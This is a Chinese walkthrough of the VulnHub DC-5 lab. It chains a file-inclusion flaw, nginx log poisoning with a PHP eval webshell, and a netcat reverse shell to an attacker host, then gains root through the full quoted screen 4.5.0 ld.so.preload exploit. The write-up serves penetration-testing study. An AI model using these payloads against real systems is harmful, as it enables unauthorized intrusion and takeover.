一个"感谢页面"如何让我拿到服务器Root权限?------DC-5靶机渗透实录
文章目录
- 一个"感谢页面"如何让我拿到服务器Root权限?------DC-5靶机渗透实录
-
- [0x01 靶机环境安装](#0x01 靶机环境安装)
- [0x02 靶机信息收集](#0x02 靶机信息收集)
- [0x03 靶机目标渗透测试](#0x03 靶机目标渗透测试)
- [0x04 总结:](#0x04 总结:)
0x01 靶机环境安装
官网下载地址:https://download.vulnhub.com/dc/DC-5.zip
下载压缩包之后解压,然后使用**VMware** 或者**Oracle打开**打开即可,同理那么我用前者DC1的VM来进行环境安装示例。



导入好了之后,把网络适配器模式改为nat模式(以便于找到靶机IP地址),!!这里注意我们得把Vmware的版本调低一点,高版本不适配DC1靶机。会导致崩溃。


改为15版本。




环境开启成功

0x02 靶机信息收集
Ⅰ 使用nmap -sn扫描内网IP信息,获取靶机服务器IP地址。

靶机服务器IP地址:192.168.247.192
Ⅱ 使用nmap工具对靶机开放端口及更详细端口服务信息进行探测扫描。
nmap -sS -sV -T4 -A -p- 192.168.247.192

通过对扫描回显信息进行遍历研究,可以发现靶机开放了、80(http)nginx、111(rpcbind)服务。
先访问80端口,没发现网页有什么问题,然后使用dirsearch扫目录,再对thankyou.php和footer.php访问后发现了问题

对thankyou.php和footer.php的每一次请求copyright后面跟的年份都会改变,并且footer.php显示的内容是thankyou.php底部显示的内容,于是想到可能有文件包含漏洞。




0x03 靶机目标渗透测试
尝试进行文件包含测试
发现可以成功读取到 /etc/passwd文件,存在文件包含漏洞
http://192.168.247.192/thankyou.php?file=/etc/passwd

前面扫描时发现靶机网站使用的是nginx服务器,我们知道nginx服务器的默认配置文件是/etc/nginx/nginx.conf,所以将nginx的配置文件包含过来查看日志路径,经过仔细查看发现了nginx的日志路径

我们尝试包含日志文件,然后可以看到,日志文件会记录我们传入的参数记录,所以我们可以将php一句话木马当参数传给日志文件,然后再次尝试包含日志文件,即可使用webshell管理工具,蚁剑连接即可获得shell的思路。
php
file=<?php @eval($_POST['horse']);?>

通过访问/var/log/nginx/error.log日志可以看到我们的木马记录已经存进去了

使用蚁剑进行连接webshell

反弹一个标准的shell回kali中
php
kali:nc -lvvp 4444
目标:nc -e /bin/sh kali ip 端口
nc -e /bin/sh 192.168.247.134 4444

用Python创建一个交互式bash环境

权限提升
查找系统中所有设置了 SUID (Set User ID) 权限的可执行文件,SUID 是一种特殊的权限位,允许普通用户在执行该文件时,暂时拥有文件所有者(通常是 root)的权限。这既是系统正常功能的一部分(如修改密码),也是黑客提权(Privilege Escalation)的主要攻击面。
| 部分 | 含义 | 详细解释 |
|---|---|---|
find |
查找命令 | Linux 用于搜索文件的工具。 |
/ |
搜索路径 | 从根目录开始,遍历整个文件系统。 |
-perm -u=s |
核心条件 | 查找权限中包含 SUID 位的文件。 -perm:按权限查找。 -:表示"包含"(只要含有该权限即可,不必完全匹配)。 u=s:User ID bit is Set (即 SUID 位被设置,表现为权限位中的 s 或 S)。 |
-type f |
文件类型 | 只查找普通文件 (file),排除目录、链接等。因为 SUID 只对可执行文件有意义。 |
2>/dev/null |
错误处理 | 将标准错误输出 (stderr, 文件描述符 2) 重定向到"黑洞" (/dev/null)。 作用:抑制"权限拒绝 (Permission denied)"等报错信息。因为遍历根目录时肯定会遇到很多普通用户无权访问的文件夹,如果不加这个,屏幕会被报错刷屏。 |
bash
find / -perm -u=s -type f 2>/dev/null
看到有个screen -4.5.0的版本号,它是一个 SUID 文件:
该文件的所有者权限位上设置了 SUID (Set User ID)。这意味着,即使是一个普通用户运行 /bin/screen-4.5.0,该进程也会以文件所有者(通常是 root)的权限运行。
- 这是一个潜在的提权漏洞 (Privilege Escalation):
- 正常情况:
screen是一个终端复用工具,通常不需要 SUID 权限即可正常工作。 - 风险:如果
screen以 root 权限运行,攻击者可以利用它的功能(如执行命令、创建新窗口等)来逃逸到 root shell。 - GTFOBins:在网络安全领域,
screen是著名的可以通过 SUID 进行提权的工具之一。攻击者可以使用类似以下的命令利用它获取 root 权限:
- 正常情况:

搜索一下 screen-4.5.0的漏洞

bash
┌──(root㉿Kali)-[~]
└─# cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
查看文件可以知道,脚本文件需要分3个步骤完成(注意,因为是在kali上面编译好了再通过蚁剑上传到靶机里面,有个很重要的事情:如果是高版本的kali编译的话,在靶机中最后是运行失败的(本人亲自踩坑,后面换成2018版本的kali编译则提权成功了)
第一步:将第一部分的C代码写入到libhax.c文件中,在执行相应的命令生成libhax.so文件,然后删除libhax.c文件
bash
cd /tmp #先来到tmp目录下
vim libhax.c #编辑这个文件将下面的代码输入进去
libhax.c文件内容如下:
c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
第二步,将第二部分的C语言代码写入rootshell文件中,并编译成rooshell文件
bash
vim rootshell.c #编辑这个文件将下面的代码输入进去
rootshell.c文件内容如下:
c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
第三步:将剩下部分的脚本代码写入到dc5.sh文件中,在开头加上注明执行环境,保存需要输入为,是为了防止脚本的格式错误
bash
vim dc5.sh #编辑这个文件将下面的代码输入进去
c
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
编译并处理好三个文件后用蚁剑传到靶机的/tmp目录下

然后使用蚁剑反弹给kali的shell继续执行下一步的操作
bash
cd /tmp #来到靶机的tmp目录下
chmod 777 dc5.sh
./dc5.sh

最终get flag

0x04 总结:
如果你看到文章的这里,那么恭喜你通关 VulnHub DC-5!🎉 这是一道非常经典的渗透测试靶机,主要考察了信息收集、Web漏洞利用、日志分析、本地提权(LD_PRELOAD 竞争条件)以及跨平台编译陷阱的处理能力。成功掌握了从 Web 入侵到系统提权的完整闭环,提升了应对复杂环境下的实战能力。
本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。